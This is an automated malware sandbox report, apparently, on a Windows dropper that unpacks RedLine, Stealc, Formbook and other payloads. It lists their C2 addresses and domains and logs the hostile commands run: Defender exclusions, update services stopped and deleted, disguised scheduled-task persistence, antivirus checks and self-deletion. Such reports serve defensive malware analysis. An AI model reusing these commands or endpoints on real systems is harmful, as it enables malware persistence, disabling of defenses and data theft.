Resubmissions
11/02/2024, 08:10
240211-j212ragb471011/02/2024, 08:09
240211-j2kprseb2w1009/02/2024, 18:28
240209-w4c4xsde9t1002/02/2024, 12:52
240202-p4dxwsgfej1002/02/2024, 12:45
240202-pzapnsgdbp1016/01/2024, 15:29
240116-sw8dbaehh31010/01/2024, 14:41
240110-r2wq2ahchl1010/01/2024, 13:29
240110-qrqatshbg31022/12/2023, 08:48
231222-kqp1sadghq10Analysis
- max time kernel
105s - max time network
269s - platform
windows7_x64 - resource
win7-20231129-en - resource tags
- submitted
02/02/2024, 12:52
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample240202-p4dxwsgfej
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Malware Config
Extracted
-
redline
-
@oni912
-
45.15.156.209:40481
Extracted
-
stealc
-
http://185.172.128.79
-
url_path
/3886d2276f6914c4.php
Extracted
-
formbook
-
4.1
-
jn85
-
106c6423c3.com
-
vittoriospumpherston.co.uk
-
furniture-best.com
-
employersfindme.online
-
colegioagustinruiz.com
-
fuziservice.com
-
differentlokal.com
-
azzfasst.com
-
kerncereus.online
-
johnschottllc.com
-
disembark-burgeoned.click
-
cabliviwarranty.com
-
justzionism.com
-
diplomy-ua.top
-
cloudadonis.com
-
vaalepoxies.africa
-
ky2088.vip
-
gsportal.africa
-
alphastrength-us.com
-
homerams.com
Signatures
- Formbook
Formbook is a data stealing malware which is capable of stealing data.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 5 IoCs
- Stealc
Stealc is an infostealer written in C++.
- Formbook payload 1 IoCs
- Downloads MZ/PE file
- Stops running service(s) 3 TTPs
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Program crash 1 IoCs
- Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates processes with tasklist 1 TTPs 2 IoCs
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Files\T1_Net.exe"C:\Users\Admin\AppData\Local\Temp\Files\T1_Net.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RDX.exe"C:\Users\Admin\AppData\Local\Temp\Files\RDX.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Update.exe"C:\Users\Admin\AppData\Local\Temp\Files\Update.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\VoidRAT.exe"C:\Users\Admin\AppData\Local\Temp\Files\VoidRAT.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\payload.exe"C:\Users\Admin\AppData\Local\Temp\Files\payload.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\visual-c++.exe"C:\Users\Admin\AppData\Local\Temp\visual-c++.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\runtime-bind.exe"C:\Users\Admin\AppData\Local\Temp\runtime-bind.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe" & del "C:\ProgramData\*.dll"" & exit3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 54⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dart.exe"C:\Users\Admin\AppData\Local\Temp\Files\dart.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\firefoxsunny.exe"C:\Users\Admin\AppData\Local\Temp\Files\firefoxsunny.exe"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /k move Subscribe Subscribe.bat & Subscribe.bat & exit3⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"4⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
C:\Users\Admin\AppData\Local\Temp\15663\11953\America.pif11953\America.pif 11953\c4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks.exe /create /tn "Ul" /tr "wscript 'C:\Users\Admin\AppData\Local\WellnessPulse Solutions\HealthPulse.js'" /sc minute /mo 3 /F5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HealthPulse.url" & echo URL="C:\Users\Admin\AppData\Local\WellnessPulse Solutions\HealthPulse.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HealthPulse.url" & exit5⤵
-
-
C:\Windows\SysWOW64\ipconfig.exeC:\Windows\SysWOW64\ipconfig.exe5⤵
- Gathers network information
-
-
C:\Windows\SysWOW64\ipconfig.exeC:\Windows\SysWOW64\ipconfig.exe5⤵
- Gathers network information
-
-
-
C:\Windows\SysWOW64\PING.EXEping -n 5 localhost4⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Learn + Did + Chorus 11953\c4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Logged + Tracking + Workout + Null + Citizen 11953\America.pif4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c mkdir 119534⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"4⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"2⤵
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\382498393934ena-rr.exe"C:\Users\Admin\AppData\Local\Temp\Files\382498393934ena-rr.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dwm2.exe"C:\Users\Admin\AppData\Local\Temp\Files\dwm2.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\59162d6533d5d56ceedd3f8a24e85e75cd198c72db5719188a4a582752d7fbe4.exe"C:\Users\Admin\AppData\Local\Temp\Files\59162d6533d5d56ceedd3f8a24e85e75cd198c72db5719188a4a582752d7fbe4.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\59162d6533d5d56ceedd3f8a24e85e75cd198c72db5719188a4a582752d7fbe4.exe"{path}"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe"C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe"C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3064 -s 963⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\tuc4.exe"C:\Users\Admin\AppData\Local\Temp\Files\tuc4.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2CS3C.tmp\tuc4.tmp"C:\Users\Admin\AppData\Local\Temp\is-2CS3C.tmp\tuc4.tmp" /SL5="$10278,7142691,54272,C:\Users\Admin\AppData\Local\Temp\Files\tuc4.exe"3⤵
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc1⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits1⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc1⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f1⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {92F21288-6BA0-455B-A218-31AF049D2469} S-1-5-18:NT AUTHORITY\System:Service:1⤵
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#extmbyk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }1⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f1⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f1⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f1⤵
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"1⤵
- Creates scheduled task(s)
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f1⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 01⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 01⤵
-
C:\Windows\System32\sc.exesc stop wuauserv1⤵
- Launches sc.exe
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 01⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 01⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc1⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xfxixcb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 01⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f1⤵
-
C:\Windows\system32\mode.commode 65,101⤵
-
C:\Users\Admin\AppData\Local\Temp\main\IdXsAYepwNyor9pXCym14F9nUPSKx8f.exe"IdXsAYepwNyor9pXCym14F9nUPSKx8f.exe"1⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"2⤵
-
-
C:\Windows\system32\attrib.exeattrib +H "IdXsAYepwNyor9pXCym14F9nUPSKx8f.exe"1⤵
- Views/modifies file attributes
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted1⤵
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted1⤵
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p2092234702066417206614013400 -oextracted1⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "Ul" /tr "wscript 'C:\Users\Admin\AppData\Local\WellnessPulse Solutions\HealthPulse.js'" /sc minute /mo 3 /F1⤵
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
-
C:\Windows\System32\sc.exesc stop wuauserv1⤵
- Launches sc.exe
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 01⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f1⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f1⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f1⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe jgqccdbbxrzbdlfm 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZe7ZXiwOLhA74FQzXCOhDuCEgX6WVRJena9L8fAOb/OCpbdBtftU9QMBxG8aHan0UHttTlDXmg8zTJWEzz1jyzM08ycWZiYcc5uJhds9Rh8+fDvfznlHAMreIYNxYX5k9xJHAc4B0ozcm5wxfAVR1NkkPB2hskLA90oq6EEwunLM+cHugrCZPmAL+xjChc1L0WUYPKljZ7G2hVhhzqEtgfjve5jiLrrwjfPxGeeAf9vve0gqrSPFO0K58xxNJ8ClGMYA3jdfqtywTWLARpI3q8mmFmhW90pU5VNfoa01PrEPOLs5r8ABfO582XBZtlugNpAIuxABxOKWLf8XQtXZvoQ7dHNPMO3GgNUOP3U0XxrRiFOF/vB7jsNiVJkb1bI5v5nt59vi2Czwj87T9ujtAUxaRW+5V3BDnzrgkctEMZcXBV724S22jgwV6IzKvy6UKGJnVaM3eKyvceEhYeYhPyF7ZZaH7hc6eH/4/zT7gy/FOEOKoQlj9wOdYItup8djwg3zNzf9whNSzJ/f9PwHpnsQ==1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe pxpxvzslvmqtfph1⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f1⤵
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"1⤵
- Creates scheduled task(s)
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f1⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 01⤵
-
C:\Windows\System32\sc.exesc stop dosvc1⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits1⤵
- Launches sc.exe
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 01⤵
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc1⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop UsoSvc1⤵
- Launches sc.exe
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 01⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xfxixcb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 01⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f1⤵
-
C:\Windows\SysWOW64\dialer.exe"C:\Windows\system32\dialer.exe"1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
updater.exe
updater.exe
updater.exe
94308059B57B3142E455B38A6EB92015
F0ACCF77CDCBFF39F6191887F6D2D357
94308059B57B3142E455B38A6EB92015
F0ACCF77CDCBFF39F6191887F6D2D357
382498393934ena-rr.exe
RDX.exe
RDX.exe
Setup.exe
T1_Net.exe
Update.exe
VoidRAT.exe
VoidRAT.exe
conhost.exe
conhost.exe
cs_maltest.exe
dart.exe
dart.exe
firefoxsunny.exe
firefoxsunny.exe
payload.exe
soft.exe
syncUpd.exe
syncUpd.exe
syncUpd.exe
Tar24D4.tmp
7z.exe
7z.exe
7z.exe
7z.exe
file_2.zip
file.bin
main.bat
590aee7bdd69b59b.customDestinations-ms
L2X0IR8GN1XBU0KP3EL8.temp
cached-microdesc-consensus.tmp
cached-microdescs.new
updater.exe
updater.exe
RDX.exe
Setup.exe
Setup.exe
VoidRAT.exe
conhost.exe
dart.exe
firefoxsunny.exe
payload.exe
syncUpd.exe
syncUpd.exe
7z.dll
7z.dll
7z.dll
7z.exe
7z.exe
runtime-bind.exe
runtime-bind.exe
memory/472-581-0x0000000000080000-0x0000000000108000-memory.dmp
memory/472-588-0x0000000000960000-0x0000000000D60000-memory.dmp
memory/472-589-0x0000000000960000-0x0000000000D60000-memory.dmp
memory/472-577-0x0000000000080000-0x0000000000108000-memory.dmp
memory/472-564-0x0000000000080000-0x0000000000108000-memory.dmp
memory/472-590-0x00000000770C0000-0x0000000077269000-memory.dmp
memory/472-592-0x0000000076DC0000-0x0000000076E07000-memory.dmp
memory/788-600-0x0000000076DC0000-0x0000000076E07000-memory.dmp
memory/788-598-0x00000000770C0000-0x0000000077269000-memory.dmp
memory/788-597-0x0000000001D80000-0x0000000002180000-memory.dmp
memory/788-593-0x00000000000C0000-0x00000000000C9000-memory.dmp
memory/792-153-0x00000000742C0000-0x00000000749AE000-memory.dmp
memory/792-274-0x0000000004B30000-0x0000000004B70000-memory.dmp
memory/792-154-0x0000000004B30000-0x0000000004B70000-memory.dmp
memory/792-156-0x0000000004B30000-0x0000000004B70000-memory.dmp
memory/792-152-0x00000000003B0000-0x00000000003C4000-memory.dmp
memory/792-204-0x00000000742C0000-0x00000000749AE000-memory.dmp
memory/1072-0-0x0000000000E70000-0x0000000000E78000-memory.dmp
memory/1072-2-0x0000000000A50000-0x0000000000A90000-memory.dmp
memory/1072-1-0x00000000742C0000-0x00000000749AE000-memory.dmp
memory/1072-65-0x00000000742C0000-0x00000000749AE000-memory.dmp
memory/1072-68-0x0000000000A50000-0x0000000000A90000-memory.dmp
memory/1232-66-0x0000000140000000-0x00000001405E8000-memory.dmp
memory/1232-70-0x0000000140000000-0x00000001405E8000-memory.dmp
memory/1232-69-0x0000000140000000-0x00000001405E8000-memory.dmp
memory/1232-67-0x0000000140000000-0x00000001405E8000-memory.dmp
memory/1240-517-0x000000013FEC0000-0x0000000140258000-memory.dmp
memory/1240-390-0x000000013FEC0000-0x0000000140258000-memory.dmp
memory/1356-516-0x00000000002C0000-0x00000000002E0000-memory.dmp
memory/2216-299-0x0000000001DD0000-0x0000000001DD8000-memory.dmp
memory/2216-300-0x000007FEF40A0000-0x000007FEF4A3D000-memory.dmp
memory/2216-301-0x0000000002A40000-0x0000000002AC0000-memory.dmp
memory/2216-302-0x0000000002A40000-0x0000000002AC0000-memory.dmp
memory/2216-303-0x0000000002A40000-0x0000000002AC0000-memory.dmp
memory/2216-297-0x000007FEF40A0000-0x000007FEF4A3D000-memory.dmp
memory/2216-296-0x000000001B570000-0x000000001B852000-memory.dmp
memory/2216-298-0x0000000002A40000-0x0000000002AC0000-memory.dmp
memory/2216-304-0x000007FEF40A0000-0x000007FEF4A3D000-memory.dmp
memory/2400-485-0x0000000019EC0000-0x000000001A1A2000-memory.dmp
memory/2400-488-0x0000000001570000-0x00000000015F0000-memory.dmp
memory/2400-487-0x0000000000AE0000-0x0000000000AE8000-memory.dmp
memory/2400-486-0x000007FEF40A0000-0x000007FEF4A3D000-memory.dmp
memory/2412-313-0x0000000002B80000-0x0000000002C00000-memory.dmp
memory/2412-317-0x000007FEF4A40000-0x000007FEF53DD000-memory.dmp
memory/2412-312-0x000007FEF4A40000-0x000007FEF53DD000-memory.dmp
memory/2412-314-0x0000000002B84000-0x0000000002B87000-memory.dmp
memory/2412-315-0x000007FEF4A40000-0x000007FEF53DD000-memory.dmp
memory/2412-316-0x0000000002B8B000-0x0000000002BF2000-memory.dmp
memory/2472-284-0x0000000002930000-0x00000000029B0000-memory.dmp
memory/2472-287-0x0000000002930000-0x00000000029B0000-memory.dmp
memory/2472-289-0x000007FEF4A40000-0x000007FEF53DD000-memory.dmp
memory/2472-282-0x0000000000590000-0x0000000000598000-memory.dmp
memory/2472-285-0x000007FEF4A40000-0x000007FEF53DD000-memory.dmp
memory/2472-283-0x000007FEF4A40000-0x000007FEF53DD000-memory.dmp
memory/2472-281-0x000000001B590000-0x000000001B872000-memory.dmp
memory/2472-288-0x0000000002930000-0x00000000029B0000-memory.dmp
memory/2472-286-0x0000000002934000-0x0000000002937000-memory.dmp
memory/2496-366-0x00000000772B0000-0x0000000077386000-memory.dmp
memory/2496-451-0x0000000000400000-0x0000000000516000-memory.dmp
memory/2496-367-0x00000000001D0000-0x00000000001D1000-memory.dmp
memory/2548-433-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-374-0x000000013FF80000-0x000000014010D000-memory.dmp
memory/2548-365-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-369-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-357-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-370-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-371-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-434-0x000000013FF80000-0x000000014010D000-memory.dmp
memory/2548-368-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-358-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-372-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-373-0x0000000000270000-0x0000000000370000-memory.dmp
memory/2548-375-0x000000013FF80000-0x000000014010D000-memory.dmp
memory/2572-232-0x00000000742C0000-0x00000000749AE000-memory.dmp
memory/2572-221-0x00000000742C0000-0x00000000749AE000-memory.dmp
memory/2572-220-0x0000000000E00000-0x00000000011C6000-memory.dmp
memory/2752-306-0x000000013F3C0000-0x000000013F758000-memory.dmp
memory/2752-276-0x000000013F3C0000-0x000000013F758000-memory.dmp
memory/2828-585-0x0000000000400000-0x000000000062E000-memory.dmp
memory/2828-452-0x0000000061E00000-0x0000000061EF3000-memory.dmp
memory/2828-344-0x00000000003C0000-0x00000000003DC000-memory.dmp
memory/2828-343-0x0000000000250000-0x0000000000350000-memory.dmp
memory/2828-345-0x0000000000400000-0x000000000062E000-memory.dmp
memory/2892-275-0x00000000742C0000-0x00000000749AE000-memory.dmp
memory/2892-165-0x00000000742C0000-0x00000000749AE000-memory.dmp
memory/2892-164-0x0000000000B40000-0x0000000000B94000-memory.dmp
memory/2892-166-0x0000000004AB0000-0x0000000004AF0000-memory.dmp
memory/2936-669-0x0000000000090000-0x000000000009C000-memory.dmp
memory/2936-671-0x0000000000090000-0x000000000009C000-memory.dmp
memory/2948-432-0x0000000140000000-0x0000000140645400-memory.dmp
memory/2948-555-0x0000000140000000-0x0000000140645400-memory.dmp
memory/2948-554-0x0000000140000000-0x0000000140645400-memory.dmp
memory/2972-614-0x0000000000400000-0x000000000042F000-memory.dmp
memory/2972-613-0x0000000000400000-0x000000000042F000-memory.dmp
memory/2972-615-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2972-617-0x0000000000400000-0x000000000042F000-memory.dmp
memory/3004-173-0x0000000000AE0000-0x0000000000B02000-memory.dmp
